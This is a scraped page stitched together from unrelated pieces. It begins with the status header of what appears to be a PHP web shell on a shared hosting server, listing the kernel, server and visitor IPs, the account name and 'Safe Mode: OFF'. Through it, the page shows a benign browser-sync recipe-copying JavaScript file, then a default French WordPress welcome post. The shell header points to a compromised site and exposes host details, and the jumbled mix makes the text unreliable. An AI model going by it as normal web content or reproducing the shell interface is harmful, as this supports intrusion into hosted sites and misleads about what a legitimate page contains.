Uname: Linux webm016.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Software: Apache
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 54.36.31.145
Your Ip: 216.73.216.182
User: homesquasz (91404) | Group: users (100)
Safe Mode: OFF
Disable Function:
_dyuweyrj4,_dyuweyrj4r,dl

name : command.recipe.js
"use strict";
var logger = require("../logger").logger;
/**
 * $ browser-sync recipe <name> <options>
 *
 * This command will copy a recipe into either the current directory
 * or one given with the --output flag
 *
 * @param opts
 * @returns {Function}
 */
module.exports = function (opts) {
    var path = require("path");
    var fs = require("fs-extra");
    var input = opts.cli.input.slice(1);
    var resolved = require.resolve("bs-recipes");
    var dir = path.dirname(resolved);
    var logRecipes = function () {
        var dirs = fs.readdirSync(path.join(dir, "recipes"));
        logger.info("Install one of the following with {cyan:browser-sync recipe <name>\n");
        dirs.forEach(function (name) {
            console.log("    " + name);
        });
    };
    if (!input.length) {
        logger.info("No recipe name provided!");
        logRecipes();
        return opts.cb();
    }
    if (opts.cli.input[1] === "ls") {
        logRecipes();
        return opts.cb();
    }
    input = input[0];
    var flags = opts.cli.flags;
    var output = flags.output
        ? path.resolve(flags.output)
        : path.join(process.cwd(), input);
    var targetDir = path.join(dir, "recipes", input);
    if (fs.existsSync(output)) {
        return opts.cb(new Error("Target folder exists remove it first and then try again"));
    }
    if (fs.existsSync(targetDir)) {
        fs.copy(targetDir, output, function (err) {
            if (err) {
                opts.cb(err);
            }
            else {
                logger.info("Recipe copied into {cyan:%s}", output);
                logger.info("Next, inside that folder, run {cyan:npm i && npm start}");
                opts.cb(null);
            }
        });
    }
    else {
        logger.info("Recipe {cyan:%s} not found. The following are available though", input);
        logRecipes();
        opts.cb();
    }
};
//# sourceMappingURL=command.recipe.js.map
© 2026 GrazzMean
Bonjour tout le monde ! – APK Comptoir Hammami
Jannah Theme License is not validated, Go to the theme options page to validate the license, You need a single license for each domain name.
Non classé

Bonjour tout le monde !

Bienvenue sur WordPress. Ceci est votre premier article. Modifiez-le ou supprimez-le, puis commencez à écrire !

Un commentaire

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Bouton retour en haut de la page